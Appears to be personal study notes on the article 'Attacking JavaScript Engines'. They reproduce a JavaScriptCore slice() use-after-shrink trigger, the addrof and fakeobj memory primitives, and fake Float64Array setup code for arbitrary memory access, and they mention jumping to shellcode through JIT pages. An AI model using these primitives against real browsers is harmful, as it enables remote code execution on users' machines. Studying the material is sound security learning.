Read attacking javascript engines.
Takeaways
Each object has an optional reference to there prototype.
Javascript core and spidermonkey use nan boxing to store pointers.
Arrays can store their data in a variety of different ways.
Depending on how a JS function is invoked this can have a variety of meanings.
The crux of the bug seems like array lengths can be changed by the value of functions. Which is basically an incorrect assumption about the functions argument not changing during evaluation. Time of check time of use.
1 var a = [];
2 for (var i = 0; i < 100; i++)
3 a.push(i + 0.123);
4
5 var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
Above is the code for the exploit. The JS engine assumes the length of the array won’t change but then it does.
I don’t understand what write barriers accomplish.
Looks like write barriers are a way of preventing modification of objects after they have been marked by the garbage collector.
I also don’t really understand what the addrof and fakeobj primitives do.
Javascript functions have to check the type of their arguments as well as the type of their this since it can change out from under them.
I don’t understand the JSC code.
Weak typing means that the languge will convert arguments for you.
1 function addrof(object) {
2 var a = [];
3 for (var i = 0; i < 100; i++)
4 a.push(i + 0.1337); // Array must be of type ArrayWithDoubles
5
6 var hax = {valueOf: function() {
7 a.length = 0;
8 a = [object];
9 return 4;
10 }};
11
12 var b = a.slice(0, hax);
13 return Int64.fromDouble(b[3]);
14 }
15
16
17 function fakeobj(addr) {
18 var a = [];
19 for (var i = 0; i < 100; i++)
20 a.push({}); // Array must be of type ArrayWithContiguous
21
22 addr = addr.asDouble();
23 var hax = {valueOf: function() {
24 a.length = 0;
25 a = [addr];
26 return 4;
27 }};
28
29 return a.slice(0, hax)[3];
30 }
So I guess the addrof function gets the address of anything thats passed into it. Not really sure what the fakeobj is doing.
Here’s how fakeobj is used.
1sprayFloat64ArrayStructures();
2
3 // Create the array that will be used to
4 // read and write arbitrary memory addresses.
5 var hax = new Uint8Array(0x1000);
6
7 var jsCellHeader = new Int64([
8 00, 0x10, 00, 00, // m_structureID, current guess
9 0x0, // m_indexingType
10 0x27, // m_type, Float64Array
11 0x18, // m_flags, OverridesGetOwnPropertySlot |
12 // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
13 0x1 // m_cellState, NewWhite
14 ]);
15
16 var container = {
17 jsCellHeader: jsCellHeader.encodeAsJSVal(),
18 butterfly: false, // Some arbitrary value
19 vector: hax,
20 lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
21 };
22
23 // Create the fake Float64Array.
24 var address = Add(addrof(container), 16);
25 var fakearray = fakeobj(address);
26
27 // Find the correct structure ID.
28 while (!(fakearray instanceof Float64Array)) {
29 jsCellHeader.assignAdd(jsCellHeader, Int64.One);
30 container.jsCellHeader = jsCellHeader.encodeAsJSVal();
31 }
32
33 // All done, fakearray now points onto the hax array
34
Not really sure why we want to accomplish that.
The executing shellcode part actually makes sense to me: you make sure your function get jitted and then you overwrite the codeaddr with your jitted code.
Overview of how addr of works
-
Create an array of doubles. This will be stored internally as
IndexingType ArrayWithDouble -
Set up an object with a custom valueOf function which will
2.1 shrink the previously created array
2.2 allocate a new array containing just the object whose address
we wish to know. This array will (most likely) be placed right
behind the new butterfly since it’s located in copied space2.3 return a value larger than the new size of the array to trigger
the bug -
Call slice() on the target array the object from step 2 as one of
the arguments
Overview of how fakeobj works
-
Create an array of objects. This will be stored internally as
IndexingType ArrayWithContiguous-
Set up an object with a custom valueOf function which will
2.1 shrink the previously created array
2.2 allocate a new array containing just a double whose bit pattern
matches the address of the JSObject we wish to inject. The
double will be stored in native form since the array’s
IndexingType will be ArrayWithDouble2.3 return a value larger than the new size of the array to trigger
the bug -
Call slice() on the target array the object from step 2 as one of
the arguments
-
1uudecode src.uue
2unzip src.zip
Source Code:
- int64.js - library for dealing with intgers in webkit
- pwn.html - has the fakeobj creation code and actually jumpt to shellcode
- pwn.js - has the addrof, fakeobj and objspray code
- util.js - has function for converting into hex